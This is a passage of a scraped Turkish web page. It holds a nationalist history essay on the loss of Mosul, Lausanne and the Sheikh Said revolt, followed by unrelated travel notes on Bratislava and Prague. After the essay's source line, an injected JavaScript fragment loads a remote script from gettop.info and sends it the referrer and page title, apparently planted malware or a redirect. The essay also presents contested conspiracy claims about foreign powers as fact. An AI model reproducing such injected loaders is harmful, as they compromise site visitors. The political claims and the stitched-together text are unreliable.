bekletilmiş ve müzakere yöntemi ön plana çıkartılmıştır. Verilen kararın ne kadar isabetli olduğu ise, 3 Ekim 1922′de başlayan Mudanya Mütarekesi görüşmeleri sonucu ateşkese varılması ve tüm Trakya’nın kurşun atılmadan geri alınmasından bellidir. O dönem, İngilizler’le Özdemir Bey’e bağlı milis güçler çatışmalara girmiştir ancak, bu birliklere daha evvel de bahsettiğim gibi, Ankara Hükümeti’nden bağımsızmış gibi bir süs verildiğinden, İngiliz Hükümeti olaylardan, Ankara’yı direk sorumlu tutamamıştır. Diyebiliriz ki, düzenli orduyla büyük çaplı bir çatışmaya girilseydi, ateşkes ve Trakya konusunda Mudanya Mütarekesi’nde mutabakata varılamayabilinir hatta, belki de, bu görüşmeler hiç yapılamazdı. Tüm bu şartların doğrultusunda zaten, imkânsızlıklardan dolayı yeterince yardım göremeyen Özdemir Bey’in birliği, içinde bulunulan siyasi koşullar da göz önünde bulundurularak, savaş yönlü desteklenememiş ve Özdemir Bey, az sayıdaki askeriyle geri çekilmek zorunda kalmıştır.

Fakat,  Musul meselesi, Atatürk ve arkadaşları için kapanmamıştı. Lozan’da kesinlikle bu bölgenin geri alınacağı düşünülmüş, Özdemir Bey’in başarıları ve bölge halkının Türkiye ile birleşme arzusu Ankara Hükümeti’ni cesaretlendiren temel etkenler olmuştu.

VE LOZAN…

Ulu Önder Mustafa Kemal Atatürk liderliğinde kazanılan Kurtuluş Savaşı neticesinde, Anadolu’dan tamamen silindiği düşünülen Türk Ulusu, dünyanın en güçlü devletleriyle Lozan’da masaya oturmuş ve varlığını, bağımsızlığını, tüm dünya’ya kabul ettirmiştir. Lozan, Türk Milleti’nin adeta yeniden doğuşunu tüm dünyaya kanıtlayan, Türkiye Cumhuriyeti’nin meşruluğunu tüm devletlere kabul ettiren bir antlaşmadır. Lozan Barış Konferansı, 20 Kasım 1922′de başlamış ve antlaşma 24 Temmuz 1923 yılında imzalanmıştır. Görüldüğü üzere antlaşmanın imzalanması ortalama sekiz ay sürmüştür. Bu süre zarfında, Türkiye’nin sınırları, Kapitülasyonlar, Boğazlar Meselesi, Azınlıklar, Osmanlı’nın borçları ve Musul’u içeren Türkiye-Irak Sınırı konuları görüşülmüştür. Ancak, kapitülasyonların kaldırılması, İstanbul’un işgalcilerce boşaltılması ve Musul konularında anlaşma sağlanamamıştır. Bu üç konu sebebiyle, son derece gergin tartışmalar meydana gelmiş, bu yüzden de 4 Şubat’ta görüşmeler kesilmiş, savaş olasılığı gündeme gelmiştir. Savaş olasılığının artması nedeniyle, doğu bölgesinde olası Musul Harekâtı yapmayı planlayan birlikler, Atatürk’ün emriyle, Boğazlar’a yapılacak bir operasyon için İzmit ve Silivri’de konumlandırılmaya başlanmıştır. O dönem, bir diğer tehlike ise, Suriye üzerinden gelebilecek olası Fransız saldırısıdır. Bu sebepten Suriye Sınırı’nda da güvenlik tedbirlerinin alınması şart olmuştur. Daha Lozan Konferansı kesintiye uğramadan, gergin havayı fark eden Fevzi Paşa, Cevat Paşa’ya gönderdiği telgrafta, konferansın kesilmesi durumunda, Suriye Hududu’nda da Fransızlar’a karşı gerekli müdafaa tedbirlerinin alınması gereğini bildirmiştir. Görüldüğü üzere, Yunanlılar ile kapanan Batı Cephesi’nin hemen ardından Güneydoğu’da ve İstanbul önlerinde, özellikle, İngilizler’le yeni bir çatışmanın başlaması an meselesiydi.

NE OLDU DA GÖRÜŞMELER TEKRAR BAŞLADI?

Türkiye’nin taviz vermeyen, istikrarlı duruşu, İngiliz Hükümeti’ne geri adım attırmıştı. İngilizler, Osmanlı Dönemi’nde yabancılara verilen Kapitilasyonlar’ın yeni Türk Devleti’ni bağlamadığını ve kaldırılması gerektiğini kabul ettiler. Diğer önemli bir husus olan Boğazlar’ın da silahsızlandırılmaları karşılığında, Türkiye’ye verilmesi kabul edildi. Antlaşmaya göre; imzalanan Lozan Antlaşması TBMM tarafından onaylandıktan sonraki altı hafta içinde, İstanbul ve Boğazlar’da bulunan İtilaf Devletleri Kuvvetleri, bu bölgeleri boşaltacaklardı. Fakat,  Musul ile ilgili bir adım atılamamış ve Musul Meselesi, Türkiye ile İngiltere arasında dokuz ay içinde ortak bir anlaşmayla çözümlenmek üzere konferans programından çıkartılmıştır.

LOZAN’DA, MUSUL ÜZERİNE İDDİALAŞMA

Lozan’da yapılan görüşmelere bakacak olursak, Türk tarafının iddiaları, son derece makul ve açık gerçeklere dayanıyordu. İsmet İnönü başkanlığındaki Türk Heyeti, Musul’un çoğunluğunu Araplar’ın değil, Türk ve Kürt Halkları’nın oluşturduğunu, Kürt Toplumu’nun ise, geçmişten gelen tarihi bağlara dayanarak, Türkiye’nin bir parçası olmak istediğini vurgularken, İngilizler’e resmen meydan okuyarak, Musul’da bir referandum yapılması teklifini sundu. Bu teklif, Lord Curzon başkanlığındaki İngiliz Heyeti için tabiî ki, kabul edilemezdi. Referandum demek, Musul’un ve tabiî ki önemli petrol yataklarının, İngilizler’in elinden uçup gitmesi anlamına geliyordu. Ancak, İngiliz Heyeti’nin referandum teklifini reddetme bahanesi, oldukça komikti; “Bölge halkının oy verme alışkanlığı yoktur ve bu konuda tecrübeleri olmadığından halkoyunun amacını anlayamazlar…” Aşağıdaki tabloda, İsmet İnönü’nün sunduğu Musul nüfus oranları bulunmaktadır. Lozan Barış Konferansı’ndaki İngilizler’in uzlaşmaz tutumunu görüşmeleri sıkıntıya sokarken, Lord Curzon ve İngiliz Heyeti’nin son oyunu, Musul Meselesi’nin Milletler Cemiyeti’ne havale edilmesi teklifiydi. Milletler Cemiyeti’nin işin içine girmesi, Musul’un elden gitmesinin tasdiki manasına geliyordu. Çünkü,   Milletler Cemiyeti’nin kurucusu, İngiltere olurken, Türkiye, bu birliğe üye bile değildi. Sonuç olarak, taraflar Lozan’da bu konu üzerinde anlaşamayacaklarını anlamış ve daha evvel bahsettiğim gibi Musul meselesini dokuz ay içerisinde karara bağlamak üzere tekrar bir araya geleceklerini karşılıklı taahhüt etmişlerdir.

İSTANBUL’DA TARAFLAR MASAYA OTURUYOR

Lozan Konferansı’ndan sonra İngiltere, kolay kolay masaya oturmak istememişti. Bunun sebebi, Irak’ta kendi yanında olan aşiret reislerinin yardımıyla kontrolü ele geçirdikten sonra Türk Hükümeti’nin karşısına avantajlı bir şekilde geçmek istemesiydi. Bu sebepten, “Haliç Konferansı” adı altında gerçekleşen görüşmeler ancak, 19 Mayıs 1924 günü başlayabildi. Konferansta, İngilizler, uzlaşmaz tutumlarını sürdürdükleri gibi, Musul dışında Hakkâri’yi de isteyince, görüşmeler bir kez daha kesildi. İngilizler, Hakkâri’yi istiyor ve tesadüfe bakın Nasturi’ler ayaklanıyor. Nasturi’ler, aslında çok daha önce I. Dünya Savaşı sırasında, Osmanlı’ya karşı, Rus Ordusu’yla birlikte hareket etmişler ancak, Ruslar, Doğu Anadolu’dan çekilince Türk Kuvvetleri karşısında tutunamamış ve İran’a kaçarak, oraya yerleşmişlerdi. Daha sonra, Kurtuluş Savaşı’nı fırsat bilerek, Hakkâri Bölgesi’ne izinsiz dönmüş ve Milli Mücadele esnasında, bazı Kürt ve Ermeni guruplarla birlik olup, Türk Ordusu’na karşı çatışmalara girmişlerdi. İngilizler’in Hakkâri’yi istedikleri bir dönemde, Hakkâri’de yoğun bir şekilde yaşayan Nasturiler’in ayaklanma çıkartması, insanı sinirden güldüren bir hadiseydi. Yine, ayaklanmanın bastırılması için bölgeye gönderilen Türk Birlikleri’ne, İngiliz askeri uçakları tarafından ateş açılması, ayaklanma ile İngilizler’in nasıl bir organik bağı olduğunu gözler önüne sermiştir. Fakat, tüm İngiliz yardımına rağmen, 7 Eylül 1924 yılında başlayan ayaklanma, Mustafa Kemal tarafından görevlendirilen Cafer Tayyar Paşa kumandasındaki birliklerce bastırılmıştır (24 Eylül 1924). Nasturi Ayaklanması, aynı dönem, Musul’a yapılması düşünülen harekâtı sekteye uğratırken, hemen akabinde yine, İngilizler’in etkisiyle çıkan Şeyh Said Ayaklanması, Türkiye’nin Musul’u almak ile ilgili planlarını değiştirmesine sebep olmuştur.

VE…MİLLETLER CEMİYETİ

Daha evvel de Musul meselesini Milletler Cemiyeti’nde görüşmenin Türk tarafının işine gelmediğini belirtmiştim. Ancak, Haliç Konferansı’nda İngilizler’in kabul edilemeyecek istekleri dolayısıyla, bir sonuç çıkmaması, İngiltere’ye meseleyi Milletler Cemiyeti’ne taşıma hakkı vermişti. Milletler Cemiyeti toplanmıştı toplanmasına ama,  Türk tarafı ısrarla, Musul’da halk oylamasına gidilmesini istiyordu. İngiltere ise, bölge halkının oylamanın anlamını anlayamayacak kadar cahil olduğunu iddia ediyordu. Tüm bu gelişmeler sırasında, pek çok kişinin bilmediği bazı kanlı olaylar sınırda yaşanıyordu. İngiliz Birlikleri, Türkiye yanlısı aşiretlere silahlı müdahalede bulunuyor hatta,  Türk kuvvetleriyle kısa süreli de olsa çatışmalara giriyordu. Bu sebepten, sınır bölgesindeki tansiyonu düşürmek amacıyla Milletler Cemiyeti, 28 Ekim 1924′te bir sınır tanımı yaparak, “Brüksel Hattı” adıyla ve geçici mahiyette bir Türk-Irak Sınırı tespit etti. Türkiye bu karara karşı çıksa da, La Haye Adalet Divanı’nın da, Bürüksel Hattı’nı destekleyen yönde bir hükme varması, Ankara’nın elini kolunu bağlıyor, İngilizler’in ise, ekmeğine yağ sürüyordu. Son olarak, Milletler Cemiyeti 16 Aralık 1925′te Brüksel Hattı’nın güneyindeki toprakların Irak’a bırakılmasını kabul eden kararını aldı. Türkiye’nin, Milletler Cemiyeti kararına karşı başarılı olamamasında, iç ve dış etkenler vardır. Yurt içinde, yine tam bu gelişmeler sırasında (büyük tesadüf) çıkan Şeyh Said Ayaklanması ve İnkılâplar’ın tamamlanabilmesi için istikrara ihtiyaç duyulması, bunun yanında, Türkiye’nin uluslararası arenada yalnız olması, Ankara Hükümeti’nin elini zayıflatırken, dışarıdan önemli bir başka tehlike gelme olasılığı doğurmuştu.

İTALYA, YUGOSLAVYA VE YUNANİSTAN, TÜRKİYE’YE KARŞI SAVAŞ HAZIRLIĞINDA

Musul Meselesi gündemdeyken, Türkiye, içerde, Şeyh Said İsyanı’yla boğuşuyordu. Diğer tarafta ise, bir başka tehlike söz konusuydu. İtalya’nın o dönemki politikaları ve Güney Sicilya’ya asker yığması, Ankara’da tedirginlik yaratmıştı. Atina’dan Londra’ya gönderilen çok gizli bir raporda İtalya, Yunanistan ve Yugoslavya’nın ortak hareket ederek, Balkanlar’da bir çatışma çıkartacağı, Yunanistan’ın Trakya’ya, İtalya’nın ise, Anadolu’ya çıkarma yapacağı bildiriliyordu. İçerde ve dışarıda bu kadar gergin bir ortam varken, İngiltere’yle savaşa girmeye çekinen Türkiye, Musul konusunu ikinci plana atmak zorunda kaldı. Bu şartlarda, yapacak fazla bir şey kalmadığı için Türkiye, 5 Haziran I926′da yapılan Ankara Antlaşması ile Musul’u Irak’a bırakmak zorunda kaldı.
şeyh said-musul
ŞEYH SAİT AYAKLANMASI

Cumhuriyet Tarihi’nin en önemli olaylarından biri olan Şeyh Sait Ayaklanması, Türk İnsanı için acı ama, bir o kadar da önemli bir tecrübedir.  Fakat,  ne yazık ki, tarihimizdeki bu kara leke, insanlarımızca pek bilinmemektedir.  Hatta,   bu bilinmezlik yüzünden, isyanın lideri Şeyh Sait, çoğu zaman Nur Cemaati Lideri Said-i Nursi ile karıştırılmaktadır.  Hâlbuki,  iki şahsın da doğu kökenli olmaları ve isim benzerlikleri dışında hiçbir alakaları yoktur. Şimdi, gelin, Musul’u kaybetmemizde önemli etken olan, Şeyh Sait Ayaklanması’nı inceleyelim. Şeyh Sait Ayaklaması, içinde dini söylemleri bulundursa da, bir Kürt Ayaklanması’dır. İsyan, Türkiye’nin Musul üzerinde hak talep ettiği bir dönemde patlak vermiştir. O dönem, İngiltere bir taraftan Musul Halkı’nın Türkiye ile birleşmek isteğini önlemeye çalışırken, diğer taraftan da, Türkiye dahilinde,   isyan ve kargaşa çıkararak, Türkiye’nin siyasal istikrarını sarsmaya çalışmaktadır. Bu sebepten, Şeyh Sait Ayaklanması’nda İngiliz etkisinin bulunduğu bilinmektedir. İsyanda, yurt dışında toplanan ve Şeyh Sait ile ortak hareket eden Hilafet Komitesi’nin de katkıları bulunmaktadır. Komite, Şeyh Sait ile temas halinde olurken, Hilafeti, tekrar Türkiye’ye getirmek için yurt dışında propaganda yapmaktaydı. Ayaklanmanın baş aktörü Şeyh Sait’e baktığımızda, Elazığ’ın Palu Kazası doğumlu Kürt asıllı ve o dönemin önde gelen Nakşibendî liderlerinden olduğunu görüyoruz. Zengin bir insan ve tarikat ileri gelenlerinden olma özelliğiyle feodal yapı içerisinden sıyrılması, bazı Kürt aşiretlerinin üzerinde etki sahibi olmasını sağlamıştır. Şeyh Sait, aynı zamanda, Kurtuluş Savaşı esnasında, İtilaf Devletleri’yle ortak hareket eden ve Milli Mücadele’yi gerek ayaklanmalar, gerekse Milli Mücadele karşıtı propagandalarla baltalayan Kürt Teali Cemiyeti Liderleri’yle de dirsek teması halindeydi. Bu örgüt, 1921 yılında TBMM tarafından fesih edilmişse de, gizli bir şekilde faaliyetlerini devam ettirmişti.  Hatta, daha evvel bahsettiğim Nasturi Ayaklanması’nda da, bu örgütün önde gelenlerinden Yusuf Ziya, Musa ve Cibranlı Halit’in de etkinliklerinin olduğu saptanmış, bu sebepten de tutuklanmışlardı. Doğal olarak Şeyh Said de şüpheliler arasındaydı.

İSYAN PATLAK VERİYOR

Bu gergin ortamda, Şeyh Said’e bağlı kişilerin Diyarbakır’ın Piran Köyü’nde arama yapan bir jandarma müfrezesiyle çatışmaya girmesi (13 Şubat 1925), kısa sürede genişleyecek bir ayaklanmanın fitilini ateşledi. Bu çatışmadan sonra kendisini inananların lideri olarak tanımlayan Şeyh Said, herkesi, din adına savaşmaya çağırarak, (bugün Bingöl sınırları içinde olan) Genç Vilayeti’nin Merkez Kazası Darahini’yi bastı ve vali ile öteki devlet memurlarını esir aldı (16 Şubat). Bölgedeki aşiretlerin desteğini alarak Diyarbakır’a doğru ilerleyen Şeyh Said, adamlarını iki guruba ayırdı ve kendi yönetimindeki gurupla, Maden, Siverek ve Ergani’yi ele geçirdi. Diğer gurup ise, Şeyh Abdullah’ın yönetiminde, Varto üzerinden Muş’a doğru harekete geçti. Varto’yu ele geçiren isyancılar, Muş’a ilerledilerse de, halktan toplanan yardımcı kuvvetlerle, Murat Köprüsü civarında durduruldular ve Varto’ya geri püskürtüldüler. 23 Şubat’ta isyana hazırlıksız yakalanan hükümetin yolladığı ordu birlikleri, Kış Ovası’nda Şeyh Said’in birlikleriyle çatışmaya girdilerse de, sayıca az olduklarından, Diyarbakır’a doğru çekilmek zorunda kaldılar. 7 Mart’ta, Şeyh Said’in emrindeki 5000 kişilik bir kuvvet, Diyarbakır’a saldırdı. İsyancılar, şehrin kuzeyinde, surlar dışında yapılan başarılı savunma ile püskürtüldü. Güney kısmında ise, içerden yardım görenlerin desteğiyle, şehre girmeyi başardılar ancak, General Mürsel’in asiler üzerine yolladığı süvari kuvvetleri, isyancıları dağıtarak, kaçmalarını sağladı (8 Mart).

MUSTAFA KEMAL OLAYLARA EL KOYUYOR

Tüm bu gelişmelerin ciddiyetini daha baştan anlayan Mustafa Kemal Atatürk, isyana karşı gerekli önemleri almak için harekete geçti ve o sırada Heybeli Ada’da olan İsmet İnönü’yü acil Ankara’ya çağırarak, Başbakan Ali Fethi Okyar’ın istifasını istedi. İstifanın istenmesindeki en önemli sebep; ayaklanmanın ilk başlarda, hükümet tarafından bölgesel ve çabuk bastırılacak bir olay olarak değerlendirilmiş olmasıydı. Bu sebepten, isyanın ilk günlerinde yeterli tedbirler alınmamış ve isyan yayılmak için uygun zemin bulmuştu. Atatürk, daha sonra da İsmet İnönü’yü yeni bir hükümet kurmakla görevlendirdi (3 Mart). Ertesi gün, TBMM acil toplanarak, Takrir-i Sükûn Kanunu’nu kabul etti. Bu sayede, hükümete olağanüstü yetki tanınmıştı. Takrir-i Sükûn Kanunu, Terakkiperver Cumhuriyet Fırkası ve Şeyh Sait İsyanı’nın yarattığı tehlikelerin ve olağanüstü şartların ortaya koyduğu engelleri önlemek amacıyla, 4 Mart 1925 tarihinde yürürlüğe girmiştir. Önce, iki yıl için çıkarılan kanun, iki yıl daha uzatıldıktan sonra, 4 Mart 1929′da yürürlükten kaldırılmıştır. Takriri Sükûn Kanunu üç maddeden oluşuyordu. Kanunun en can alıcı birinci maddesi şöyleydi: İrtica ve isyana ve de memleketin nizam-ı içtimaisi (toplumsal düzen) ve huzur ve sükunu ve emniyet ve asayişini ihlale bais (bozmaya yönelik) bilumum teşkilat ve tahrikât ve teşvikat ve neşriyatı (örgütlenmeleri, kışkırtmaları, yüreklendirmeleri ve yayınları), hükümet reisi cumhurun tasdikiyle ve re’sen ve idareten man’e mezundur (kendi başına yasaklamaya yetkilidir). İş bu ef’al erbabını (bu eylemleri işleyenleri) hükümet İstiklal Mahkemesi’ne tevdi edebilir. Takrir-i Sükûn Kanunu’nu çıkarıldıktan sonra, son derece hızlı bir şekilde bölgeye ek kuvvetler gönderilerek önce, 10 Mart’ta, Diyarbakır çevresindeki asiler temizlendi. Ardından, 14 Mart’ta Varto’da isyancılar dağıtıldı ve 26 Mart’tan itibaren de Varto, Elazığ ve Diyarbakır üzerinden karşı harekâta başlandı. Türk Ordusu tarafından çembere alınarak Irak, İran ve Suriye’ye kaçmaları engellenen asiler, nisan başında çemberin daraltılmaya başlanmasıyla, bir bir yakalanmaya, ya da etkisiz hale getirilmeye başlandı. Ayaklanmanın önde gelenlerinden Şeyh Şerif ve yanındaki bazı aşiret reisleri, Palu’da, Şeyh Said’de Varto yakınlarında, Carpuh Köprüsü’nde ele geçirildi. İsyan, 15 Nisan 1925 günü bastırıldı. Başta Şeyh Said olmak üzere, ayaklanmanın önde gelen 47 yöneticisi, Diyarbakır’daki Şark İstiklal Mahkemesi’nde yargılanarak idam cezasına çarptırıldı. Cezalar, 29 Haziran’da infaz edildi. Şeyh Said Ayaklanması bastırılmıştı ama, Türkiye Cumhuriyeti’ne çok zarar vermişti. Öncelikle, Musul Meselesi’nin tartışıldığı bir dönemde, gerek Nasturi Ayaklanması, gerekse Şeyh Said Ayaklanması, Türkiye’nin, Musul’u almak için ortaya attığı bölge insanlarının Türkiye ile birleşmek istediği yönündeki iddiasını zayıflatmış, İngilizler’in ekmeğine yağ sürmüştür. Ayrıca, bu iki isyanı bastırmak için sarf edilen zaman, Musul’a yapılacak olası bir harekâtı geciktirmiş ve değişen şartlardan dolayı da, imkânsız bir hale sokmuştur. Ayaklanmanın bir başka olumsuz tarafı ise, Türkiye’nin çok partili hayata geçişini sekteye uğratmasıdır. İsyana karıştığı gerekçesiyle hakkında soruşturma açılan Terakkiperver Cumhuriyet Fırkası, çok geçmeden hükümet kararnamesiyle kapatılmıştır.

BÜTÜN OLUMSUZLUKLAR ANKARA ANTLAŞMASI’NA MECBUR KILIYOR

Dış baskılar, olası savaş tehlikesi ve peş peşe gelen ayaklanmalar, Türkiye’nin, Musul üzerinde hak iddia edebilmesini güçleştirirken, İngiltere önderliğindeki Milletler Cemiyeti’nin Brüksel Hattı üzerindeki ısrarı, Türkiye’yi, Ankara Antlaşması’nı imzalamak zorunda bırakmıştır (5 Haziran 1926). Bu antlaşmayla Türkiye, Musul’u kendi sınırları dışında kabul etmiş, karşılığında ise, bölgedeki petrol gelirinin yüzde 10′unu, 25 yıl süreyle alabil-me hakkını elde etmiştir. Ancak, İngilizler, Irak’tan çekildikten sonra, Irak’ta 1937 ile 1941 yılları arasında peş peşe tam yedi darbe yaşanır. Oluşan istikrarsız ortam sebebiyle, Türkiye, düzenli olarak payını hiçbir zaman alamaz. 1958′de, Irak’ta yönetimin el değiştirmesi sonucu, zaten düzenli ödeme alamayan Türkiye, bu tarihten sonra hiçbir alacağını tahsil edememiştir. 1986 yılına kadar, Musul petrol gelirleri bütçeye alacak olarak işlenmişse de, bu tarihten sonra, bütçe hesaplarına dahil  edilmemiş ve alacaklardan vazgeçilmiştir.

EMPERYALİST GÜÇLERİN KORKUSU

Bugüne bakıldığında, bölgedeki gelişmeler, I. Dünya Savaşı sonrası dönemle çok fazla benzerlik göstermektedir. Yine, Türkiye’nin doğusunda terör vardır. Ve yine, Irak’ın kuzeyi, emperyalist güçlerin etkisi altındadır. Türkiye’nin, başta, GAP ve ağır sanayi hamleleriyle, doğu illerine yatırım yapması kısacası, gelişip, bölgenin süper gücü olması, emperyalist devletlerin işine gelmemektedir. Bugün, Türkiye’nin kalkınması ve Ortadoğu’da otoritesini sağlamlaştırması durumunda, olabilecekler emperyalist güçleri ürkütmektedir. Düşünün ki, Kuzey Irak’ta, yani, petrolün cennetinde, 3 milyonun üzerinde Türk yaşamaktadır. Bugün, İran sınırları içinde de yaklaşık, 30 milyonluk bir Türk nüfusu bulunmaktadır. Güçlü bir Türkiye, Irak Türkleri’ne sahip çıkarak, petrol yatakları üzerinde hakim bir güç olabilir. Aynı zamanda da, İran topraklarında yaşayan 30 milyonun üstündeki Türk nüfusuna ve Azerbaycan Türkleri’ne ağabeylik yaparak hem Kafkasya, hem de yeraltı ve yer üstü zenginlikleri konusunda bir cennet olan Orta Asya’ya açılabilir. Kısacası, Türkiye’nin Kafkasya, Ortadoğu ve Orta Asya’da tek ve boy ölçüşülemez bir güç olması hiçte zor bir olasılık değildir. Bu gerçek, batılı emperyalist güçlerin ve bir kısım sermaye guruplarının ödünü kopartırken, Türkiye’nin kendini toparlamaması için birçok oyun tezgahlanmakta  ve aynen tarihteki gibi bazı Kürt guruplar kullanılmaktadır. Bugün ise, bölgede, dengeleri kuran esas oğlan İngiltere değil, Amerika Birleşik Devletleri’dir. Buradaki en üzücü nokta, insanımızın, Türkiye’nin sahip olduğu potansiyel gücünü görememesi ve üzerinde asırlardır oynanan oyunlara hâlâ, yeterince sesini çıkartmamasıdır…

ŞEYH SAİT AYAKLANMASI KRONOLOJİSİ

13 Şubat 1925

Şeyh Said’e bağlı kişiler, Diyarbakır’ın Piran Köyü’nde arama yapan bir jandarma müfrezesiyle çatışmaya girdi.

16 Şubat 1925

Şeyh Sait’in isyancı birlikleri, Genç İli’nin Merkezi Darahini’yi alarak, vali ve bazı devlet memurlarını esir aldı.

21 Şubat 1925

Şeyh Sait’e bağlı isyancılar, Kış Ovası’nda az sayıda ordu kuvvetleriyle çarpıştı.

24 Şubat 1925

Şeyh Sait’e bağlı isyancılar, Elazığ’ı ele geçirdi.

26 Şubat 1925

Şeyh Sait’e bağlı isyancılar, Hani’yi işgal etti.

4 Mart 1925

Hükümete olağanüstü yetkiler veren Takrir-i Sükûn Kanunu kabul edildi.

4 Mart 1925

TBMM, isyan bölgesinde ve Ankara’da, İstiklal Mahkemesi kurulmasına karar verdi.

7 Mart 1925

Şeyh Sait’e bağlı isyancılar, Diyarbakır’a saldırdı.

8 Mart 1925

Diyarbakır’da, Mürsel Paşa komutasındaki ordu birlikleri Şeyh Sait kuvvetlerini dağıttı.

14 Mart 1925

Varto’da, isyancılar dağıtıldı.

26 Mart 1925

Türk Ordusu, karşı harekâta başladı ve isyancılar, çembere alınmaya başlandı.

31 Mart 1925

Ordu birlikleri, Lice ve Silvan’ı ele geçirdi.

15 Nisan 1925

Şeyh Sait, Varto yakınlarında yakalandı ve isyan bastırıldı.

29 Haziran 1925

Doğu İstiklal Mahkemesi’nce ölüm cezasına çarptırılan Şeyh Sait ve arkadaşları idam edildi

Bu yazı Sağır Sultan Dergisi’nden alıntıdır…d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Gülümseten Bratislava…

tiy

Budapeşte, Viyana ve Prag… Üç orta Avrupa Başkenti’ni kapsayan bir tura çıktıysanız eğer, Bratislava size bonus gibi gelecektir. Genellikle bu üç şehri içine alan tur, uçağın Budapeşte’ye inmesiyle başlar. Sonra havaalanında otobüse binilir ve Viyana’ya geçilir. Tur Prag ile devam eder. Son durak, Türkiye’ye dönüşün yapılacağı Budapeşte’dir. Ama Prag’tan Macaristan’ın Başkenti’ne dönerken, yaklaşık 6-7 saatlik yolculuğu renklendiren sevimli bir şehirden geçer yolunuz. İşte orası, duvarların yıkılmasıyla, Slovakya’nın Başkenti olan Bratislava’dır…

Minicik, sevimli, adeta kutu bir şehir burası… İnsanları da çok cana yakın… Hepsinin yüzü gülüyor ve neredeyse hemen hepsinin de elinde bir köpeğin tasması bulunuyor… Rehberimizi dediğine göre, burada köpek yetiştiriciliği bir meslek haline gelmiş… Çeşit çeşit, cins cins, sevimli mi sevimli, büyük küçük onlarca köpek gördük Bratislava’da kaldığımız kısa süre içinde… Yetiştirip, Avrupa ülkelerine satıyorlarmış…

sıfır
Bratislava’nın en ünlü ve gezilebilecek teri Old Town yani Eski Şehir… Old Town’a girmek için tarihi St.Michel Kulesinin kapısından geçiyorsunuz. Kapıyı geçince yerde pirinçten bir daire görüyorsunuz. Burayı sıfır noktası olarak değerlendirmişler. Ve Bratislava’nın dünyanın ünlü şehirlerine olan uzaklıklarını kilometre olarak yazmışlar. Gözlerimiz hemen 7 tepeli İstanbul’u aradı. Baktım; o anda güzelim İstanbul’umdan tam 1231 km uzaktaymışız!…

Old Town’ın merkezi Ana Meydan… Burada ünlü binalar var… En ünlüsü Slovak Ulusal Tiyatro Binası ve hemen binanın önündeki Ganymeda Çeşmesi… Filarmoni binası, başta Amerika ve Fransa olmak üzere konsolosluklar. Meydanın hemen arkasında da belediye binasıyla karşılıklı Başpiskoposluk binası bulunuyor. Tabii bu arada Napolyon’un kendisinden habersiz bombaladığı için ordusuna kızmasına neden olan St. Martin Katedrali’ni unutmamak gerek… Rivayete göre, Fransız konsolosluğu önünde banka dayanmış duran Napolyon heykelinin de bu nedenle arkası konsolosluğa dönük yerleştirildiği söyleniyor…
saadet

Heykel deyince, Eski Şehir’deki birbirinden ilginç heykellerden bahsetmemek olmaz. Logar kapağından kafasını çıkararak insanlara bakan Çumil bir işçiyi simgeliyor. Heykelin hemen yanında da canlısı duruyor. Çumil’i taklit eden sahtesiyle fotoğraf çektirmenin bir bedeli var, gönlünüzden geçeni şapkaya atıyorsunuz. Geçen yüzyılda Bratislava’da zihinsel engelli Schöne Natsi, fötr şapkasını çıkararak, yoldan gelip geçenleri selamlarmış. Slovaklar da onu anmak için şehre heykelini dikmişler ve şapkanın altında durunca da dileklerinin kabul olduğuna inanmışlar. Gözlerimiz bir ara köşe başında sokağı gözetleyen bronzdan adama da takıldı… Yahudi Mahallesi’nin girişindeki sadakat ve insan birliğini anlatan heykel, tabelasını üç dilde Macarca, Çekce ve Almanca hazırlamış eczane ve ortaçağ’dan kalma çeşme dikkatimizden kaçmıyor… 5,5 milyon nüfusunun 600 bini Bratislava’da yaşayan Slovakya’nın ufo ya benzediği için Ufo Köprüsü de denilen Duvori Köprüsü de ünlü. Kasım 1989′da Çekoslovakya’da Kadife Devrim’le demokrasiye dönülürken, 1 Ocak 1993′de ülke sessizce ikiye bölünmüş. 2004′ün 29 Mart’ında Nato’ya ,1 Mayıs’ında da Avrupa Birliği’ne alınan Slovakya’nın Başkenti Bratislava’da yaşam devam ediyor tebessümle…}

Masal şehri PRAG

SAADET

Orta Avrupa deyince aklıma herkesin olduğu gibi hemen Budapeşte-Viyana-Prag üçgeni gelir… Ekim ayının başında yolumuz bu üç Başkent’e düştü… Prag’dan Budapeşte’ye geçerken arada eski Çekoslovakya’nın diğer yarısı Slovakya’nın başkenti Bratislava’yı da çıkarıverdik birkaç saatte…  Dört arkadaşım ve 27 kişilik kafilemizle İlk durağımız Viyana idi. Ama nedense öncelikle Masal Şehri Prag’ı anlatmak istedim. Beni en çok etkileyen Budapeşte’yi ise en sona bıraktım… İşte buram buram tarih kokan Prag…
Elbe’nin bir kolu olan Vltava nehrinin kıyısına kurulmuş olan Çek Cumhuriyeti’nin Başkenti Prag’ın adı, Çekçe’de kapı eşiği manasını taşıyan Praha’dan geliyor. Avrupa’nın tarihi dokusu en iyi korunmuş birinci kenti olan Prag’ın lakabı ise “Masal şehri”…
Kale bölgesi, Küçük Mahalle, Eski Şehir ve Yeni Şehir bölgelerinden oluşan Prag, asırlardır eski Bohemya Krallığı’nın Başkenti. Ortaçağ’da 4. Karl’ın büyük imparatorluğunun başkenti olarak ün kazanan Prag, 1918 yılında Avusturya-Macaristan İmparatorluğu’nun çökmesiyle kurulan Çekoslovakya’nın da başşehri olmuş. 1938′de Nazi Almanya’sı tarafından işgal edilmiş, işgalden kurtulduğuna sevinemeden de 1948′de Sovyetler’in denetimine girivermiş. Sovyet komünizminin egemenliğinde 20.yüzyılın sonlarını zorluklar içinde geçiren Çekoslovakya’da 17 Kasım 1989′da öğrenci gösterisi olarak başlayan, sonra kitlesel bir harekete dönüşen olaylar sonunda  ”Kadife devrim” meydana geldi. Duvarların yıkılmasıyla Çekoslovakya 1 Ocak 1993′te sessiz sedasız Çek Cumhuriyeti ve Slovakya olmak üzere ikiye bölündü. 2 Şubat’ta Havel, Cumhuriyetin Başkanı olurken, Prag da Başkent ilan edildi… 2004 yılında AB üyeliğine alınan Çek Cumhuriyeti’nin nüfusu 11.5 milyon. Avrupa’nın en çok turist çeken şehirlerinden birisi olan Başkent büyüleyici Prag’da ise 2 milyon 100 kişi yaşıyor. Prag’da bir yandan Haşek’in roman kahramanı Aslan Asker Şvayk’ın gülümsemesine cevap verirken, diğer yandan da ünlü yazar Franz Kafka’nın karamsarlığını hissedebiliyorsunuz…

GEZMEYE KALE MEYDANI’NDAN BAŞLIYORUZ

